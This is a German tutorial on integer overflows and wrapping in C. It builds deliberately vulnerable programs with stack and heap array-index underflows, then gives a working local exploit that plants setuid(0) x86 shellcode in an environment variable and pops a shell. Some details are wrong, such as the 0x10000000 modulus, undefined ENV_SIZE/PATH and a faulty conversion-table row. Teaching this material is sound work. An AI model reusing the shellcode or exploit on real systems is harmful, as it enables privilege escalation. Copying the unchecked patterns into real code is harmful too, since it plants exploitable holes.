Integer Overflow & Integer Wrapping
- Illustrated -


Vorwort

Dieser Artikel wurde unteranderem erstellt um das Thema von "Integer Overflows" auch für die Menschen verständlich zu machen, die es mit anderen, englischen, Artikeln eventuell etwas schwer haben. Es wird versucht, das Thema so verständlich wie möglich zu behandeln, auch für die Leute, die bisher so gut wie kein Erfahrung mit diesem Thema haben. Ich persönlich schreibe diesen Text, als eine art Referenz für mich selbst. Falls Fragen aufkommen sollten oder jemand Fehler endeckt hat, kann er mir diese gerne mitteilen und an <posidron@linuxmail.com> schreiben.


Environment

Sämtliche Quellcodes wurden unter folgendem System geschrieben und kompiliert.
Compiler: gcc 2.95.4
Debugger: gdb 2002-04-01-cvs
Operating System: Debian Linux 2.4.29-vs1.2.10
Architecture: i686


Einführung

Wollen wir uns den Datentyp "Integer" mal genauer ansehen, bevor wir weiter ins Detail gehen. Wenn Sie damit schon vertraut sind, können sie gerne diesen Abspann überspringen.
Unten finden Sie ein Beispiel, welches den Werte Bereich eines "signed Integers" auf Ihrem System wiedergibt.
01:
02:
03:
04:
05:
06:
07:
08:
09:
10:
11: 		#include <stdio.h>
#include <limits.h>
#include <inttypes.h>

int main (void) {

  printf("Integer Größe : %d Byte\n", sizeof (int32_t));
  printf("Wertebereich von %d bis %d\n", INT_MIN, INT_MAX);

  return 0;
}

posidron$ gcc int_val.c -o int_val.c
posidron$ ./int_val
Integer Größe : 4 Byte
Wertebereich von -2147483648 bis 2147483647


Da wir auf einem 32 Bit System arbeiten, zeigt hier die größe eines "signed Integer" Wertes 4 Byte an. Der ANSI Standard definiert einen Integer Wert mit einer Mindestgröße von 2 Byte. Eine kleine Übersicht, zu der Größe auf verschiedenen anderen Betriebsystemen, finden Sie im Anhang.

Der Basis Datentyp Integer (kurz: int) dient ausschließlich zur Speicherung von ganzzahligen Werten ohne Nachkommastelle. Ein int ist in C automatisch immer signed, also vorzeichenbehaftet. Das Gegenteil von signed ist unsigned, für nicht vorzeichenbehaftet Werte, was natürlich den Speicherraum für positive Zahlen erhöht. Ein Datentyp für die Darstellung von nur negativen Zahlen exitiert nicht.

Negative signed int Werte werden binär erkannt, indem das MSB (most significiant bit) auf 1 gesetzt ist, und bei positiven Werten auf 0.

00000001 = 1 (signed int)
11111111 = -1 (signed int)


Desweiteren existieren noch zwei weitere Datentypen in der Integer Familie neben dem Basistyp. Diese wären short und long, mit denen man unteranderem int Werte spezifizieren und erweitern kann, in verschiedenen Kombinationen.
short -32768...32767 (16 Bit)
long -2147483648...2147483647 (32 Bit)
long long -9223372036854775808...9223372036854775807 (64 Bit)

Die jeweilige Maximale Speichergröße für ihr System, finden sie in der limits.h definiert. Das Schlüsselwort int, ist nach dem Schlüsselwort short oder long bei der Deklaration nicht mehr notwendig z.b wird unsigned short als unsigned short int representiert. Im Anhang sind noch mal alle Integer Datentypen, mit ihren unterschiedlichen Kombinationen aufgelistet.
Definition

Integer Overflows wurden erstmals ausführlich in "Professional Source Code Auditing" auf der BlackHat Conference (USA) 2002 vorgestellt.

Wenn man in einen Integer Datentyp einen größeren Wert als vorgesehen ist, hineinschreibt, bezeichnet man dies als "Integer Overflow" bzw. auch als "Integer Wrapping". Es ist in dieser form nicht möglich Speicheradressen zu überschreiben wie z.b bei einem generellen Overflow. Dies geschieht - bzw. ist erst bei einem Integer Overflow möglich - durch andere Funktionsaufrufe im Funktionslauf.

Wenn wir zum Beispiel den größten positivsten Wert eines 32 Bit signed Integers nehmen und ihn um eins inkrementieren, erhalten wir als Ergebnis, den größten zu tragenden negativ Wert von einem 32 Bit signed Integer.

int a, b, c;

a = 0x7fffffff;
b = 0x1;
c = a + b;

Als Ergebnis hällt nun die Variable c den Wert -0x80000000. Für vorzeichenbehaftete Integerwerte gilt also MAX(x)+1=MIN(x).

Anders als bei einem signed Integer, kann ein unsigned Integer nicht "overflowen". Sobald der Maximale Speicherwert erreicht worden ist, wird durch eine Modulo Operation wieder von 0 begonnen, sobald man diesen Wert inkrementieren und ihn einer Variable vom gleichem Typ zuweisen will.

unsigned int a, b, c;

a = 0xffffffff
b = 0x1
c = a + b;

Wir fügen der Variablen a den Maximalwert für ein unsigned Integer zu. Der Variablen b fügen wir 1 zu, als Ergebnis hällt nun die Variable c den Wert 0. Intern bei der definierung von c, geschieht folgendes:

c = (0xffffffff + 0x1) % 0x10000000
c = (0x10000000) % 0x10000000
c = 0

Diese Methoden werden auch "wrap around" genannt und eigenen sich zum Beispiel um verschiedene Abfang abfragen zu umgehen.

  
Wrapping Methode

Folgendes kleine Beispiel soll nun die "wrap around" Methode demonstrieren, indem wir eine if - Abfrage, mit einem "gültigem" Wert umgehen und somit einen Segmentation fault erzeugen. Dies geschieht indem wir einen, zu kleinen, nicht dafür vorgesehenen Datentyp mit einem zu großen Wert definieren wollen.
01:
02:
03:
04:
05:
06:
07:
08:
09:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:		 #include <stdio.h>
#include <string.h>
#include <inttypes.h>

#define MAX_SIZE 256

int main (int argc, char **argv) {
  int32_t i;
  uint16_t j;
  char *buf = NULL;

  buf = (char *)malloc(MAX_SIZE);

  i = atoi(argv[1]);
  j = i;

  if (j >= MAX_SIZE) {
    printf("too long, exiting...\n");
    free(buf);
    return -2;
  }

  printf("i: %d\nj: %d\n", i, j);

  memcpy(buf, argv[2], i);
  *(buf+i) = 0x0;
  
  printf("buf: %s\n", buf);

  free(buf);

  return 0;
}

posidron$ gcc eg1_wrap.c -o eg1_wrap.c
posidron$ ./eg1_wrap 5 hello
i val: 5
j val: 5
buf: hello
posidron$ ./eg1_wrap 100 hello
too long, exiting...
posidron$ ./eg1_wrap 65536 hello
i val: 65536
j val: 0
Segmentation fault
posidron$

In diesem Beispiel nutzen wir j dazu aus, um an der if Abfrage vorbei zu kommen, somit ist es möglich 65536 bytes nach buf zu kopieren und einen overflow in memcpy() zu produzieren. Dabei wird i an j zugewiesen, welcher einen kleineren Datentyp als j hat, dieser kann nur 65535 bytes speichern und da er vom Typ unsigned ist, wird eine Modulo Operation ausgeführt und springt bei einem Wert von USHORT_MAX+1 wieder auf 0 zurück.


Arithmetic Overflow

Integer Overflows lassen sich in drei Kategorien einteilen, Addition-, Subtraktion- und Multiplikation Overflows.


Addition
1:
2:
3:
4:
5:		 char *buf;
int alloc_size = attack_size + 16;

buf = malloc(alloc_size);
memcpy(buf, input, attack_size);


Subtraktion

1:
2:
3:
4:
5:
6:
7:
8:		 #define HEADER_SIZE 16

char data[1024], *dest;
int n;

n = read(sock, data, sizeof(data));
dest = malloc(n);
memcpy(dest, data + HEADER_SIZE, n - HEADER_SIZE);


Multiplikation

1:
2:
3:
4:
5:
6:
7: 		nresp = packet_get_ini();

if (nresp > 0) {
  response = xmalloc(nresp * sizeof (char *));
  for (i = 0; i < nresp; i++)
    response[i] = packet_get_string(NULL);
}



Stack Based Integer Overflow

Als nächstes wollen wir uns dem direktem überschreiben von Speicheraddressen widmen, in dem wir einzelne Elemente eines Integer Arrays "overflowen". In diesem Beispiel gehen wir in den Negativen Bereich des Arrays, da für diesen keine Abfangregelung getroffen wurde. Bei einem unsigned integer als index Wert, haetten wir den Wert UINT_MAX+1 nehmen koennen, um über das Array hinaus zu schreiben. So produzieren wir hier einen "underflow".
01:
02:
03:
04:
05:
06:
07:
08:
09:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <inttypes.h>

#define MAX_SIZE 32

int fill(int32_t i, int32_t val) {
  int32_t array[32];

  if(i >= MAX_SIZE) {
    printf("too big, exiting!...\n");
    return -1;
  }
  else {
    array[i] = val;
    printf("array[%d] = %d\n", i, val);
  }

  return 0;
}

int main(int argc,char **argv){
  int32_t i, val;

  if(argc < 3)
    return -1;

  i = atoi(argv[1]);
  val = atoi(argv[2]);

  fill(i, val);

  return 0;
}


posidron$ gcc eg2_array.c -o eg2_array.c
posidron$ ulimit -c unlimited

Um das Array zu Underflowen, addieren wir zu dem Negativen Maximal Wert eines signed Integers die Größe des Arrays.
 
   +
 =  		-2147483648
32
-2147483615


posidron$ ./eg2_array -2147483616 1
array[-2147483616] = 1
Segmentation fault (core dumped)
posidron$ gdb -q -c core
Core was generated by `./eg2_array -2147483616 1'.
Program terminated with signal 11, Segmentation fault.
#0 0x080484f0 in ?? ()
(gdb) quit
posidron$
posidron$ ./eg2_array -2147483615 1
array[-2147483615] = 1
Segmentation fault (core dumped)
posidron$ gdb -q -c core
Core was generated by `./eg2_array -2147483615 1'.
Program terminated with signal 11, Segmentation fault.
#0 0x00000001 in ?? ()
(gdb) quit
posidron$


Schreiben wir nun unser erstes Exploit zu diesem Thema, für das obige Beispiel:

01:
02:
03:
04:
05:
06:
07:
08:
09:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>

/* my 38 byte setuid(0) linux x86 arch. shellcode */
char lnxsh[]= "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68"
              "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
              "\xc0\x31\xdb\xb0\x01\xcd\x80";

int main (int argc, char **argv) {
  char *tmp, *buf;
  uint32_t retaddr;

  if (argc < 2)
  return -1;

  sscanf(argv[1],"%x", &retaddr);

  tmp = malloc(16);

  if (retaddr > 0x7fffffff)
    sprintf(tmp, "%d", retaddr-0xffffffff-1);
  else
    sprintf(tmp, "%u", retaddr);

  buf = (char *)malloc(ENV_SIZE + 1);

  memset(buf, 0x90, (ENV_SIZE - strlen(lnxsh)));
  memcpy(buf + (ENV_SIZE - strlen(lnxsh)), lnxsh, strlen(lnxsh));
  setenv("EXEC", buf, 1);
  free(buf);

  printf("{-} used return address: 0x%x\n", retaddr);
  printf("{-} execute program : %s %s %s\n\n",PATH,argv[2], tmp);

  execl(PATH, PATH, argv[2], tmp,0);

  free(tmp);

  return 0;
}


posidron$ gcc eg2_exp.c -o eg2_exp


Bauen wir uns ein kleines snipplet um die return Addresse für unser Exploit berechnen.

01:
02:
03:
04:
05:
06:
07:
08:
09:
10:
11:
12:
13:
14:
15: 		#include <stdio.h>
#include <inttypes.h>

int main (int argc, char **argv) {
  int32_t s_top = 0xbfffffff; /* top of stack */
  int32_t bsize;   

  bsize = atoi(argv[1]);   

  printf("top: 0x%08x\n", s_top);
  printf("jmp: - 0x%08x(%d)\n", bsize, bsize);
  printf("ptr: 0x%08x\n", (s_top - bsize));   

  return 0;
}

posidron$ gcc stack.c -o stack
posidron$ ./stack 4096
top: 0xbfffffff
jmp: - 0x00001000(4096)
ptr: 0xbfffefff
posidron$
posidron$ ./eg2_exp 0xbffffeff -2147483615
{-} return address: 0xbfffefff
{-} command line: ./eg2_array -2147483615 -1073745921
array[-2147483615] = -1073745921
sh-2.05a$ exit
posidron$

 

Heap Based Integer Overflow

In diesem Beispiel allokieren wir nun speicher für unsere Variable "array" auf dem Heap. Folgende zwei Funktionen stellt uns die ANSI C Library zur verfügung:

void *calloc(size_t nmemb, size_t size);
void *malloc(size_t size);

Beide dieser Funktionen verlangen einen unsigned int (size_t) als Größe des zu allokierten Objektes. Somit wird der Variable arrray ein Positiven Wertebereich zugewiesen, in diesem Fall die grosze eines Integer Wertes multipliziert mit 8, also 32 Byte.

01:
02:
03:
04:
05:
06:
07:
08:
09:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <inttypes.h>

#define MAX_SIZE 32

int fill(int32_t i, int32_t val) {
  int32_t *array;

  array = malloc(sizeof (int32_t) * 8);

  if(i >= MAX_SIZE) {
    printf("too big, exiting!...\n");
    return -1;
  }
  else {
    *(array+i) = val;
    printf("array[%d] = %d\n", i, val);
  }

  return 0;
}

int main(int argc, char **argv){
  int32_t i, val;

  if(argc < 3)
    return -1;

  i = atoi(argv[1]);
  val = atoi(argv[2]);

  fill(i, val);

  return 0;
}


posidron$ gcc eg3_malloc.c -o eg3_malloc
posidron$ ulimit -c unlimited
posidron$ ./eg3_malloc -11 8
Segmentation fault (core dumped)
posidron$
posidron$ gdb -q -c core
Core was generated by `./eg3_malloc -11 9'.
Program terminated with signal 11, Segmentation fault.
#0 0x00000009 in ?? ()
posidron$
posidron$ ./eg2_exp 0xbffffeff -11
{-} return address: 0xbfffefff
{-} command line: ./eg3_malloc -11 -1073745921
sh-2.05a$ exit
posidron$




 So, das wars, in der Hoffnung das der ein oder andere das Thema nun besser verstanden hat.


posidron$ logout

Anhang


Integer Konvertierung

Quell-Größe Quell-Wert Ziel-Größe Ziel-Wert
16 bit signed -1 (0xffff) 32 bit unsigned 4294967295 (0xffffffff)
16 bit signed -1 (0xffff) 32 bit signed -1 (0xffffffff)
16 bit unsigned 65535 (0xffff) 32 bit unsigned 65535 (0xffff)
16 bit unsdigned 65535 (0xffff) 32 bit signed 65535 (0xffff)
32 bit signed -1 (0xffffffff) 16 bit unsigned 65535 (0xffff)
32 bit signed -1 (0xffffffff) 16 bit signed 65535 (0xffff)
32 bit unsigned 32768 (0x8000) 16 bit unsigned 32768 (0x8000)
32 bit unsigned 32768 (0x8000) 16 bit signed -32768 (0x8000)


Datentyp Integer

System Größe Wertebereich Formatzeichen
ANSI C 2 Byte -32768... 32767 %d oder %i
MS-DOS, Win3.1 2 Byte -32768... 32767 %d oder %i
Mac. Metrowerks CW 4 Byte -2147483648... 2147483647 %d oder %i
Win98/2000/NT/XP 4 Byte -2147483648... 2147483647 %d oder %i
Linux 4 Byte -2147483648... 2147483647 %d oder %i


Typ Größe Wertebereich
short, signed shor 2 Byte (16 Bit) -32768... 32767
unsigned short 2 Byte (16 Bit) 0... 65535
int, signed int 4 Byte (32 Bit) -2147483648... 2147483647
unsigned int 4 Byte (32 Bit) 0... 4294967295
long, signed long 4 Byte (32 Bit) -2147483648... 2147483647
unsigned long 4 Byte (32 Bit) 0... 4294967295
long long 8 Byte (64 Bit) -9.223.372.036.854.755.807... 9.223.372.036.854.755.807


Referenz

Basic Integer Overflows - http://www.phrack.org/phrack/60/p60-0x0a.txt
Integer Array Overflows - http://www.fakehalo.us/IAO-paper.txt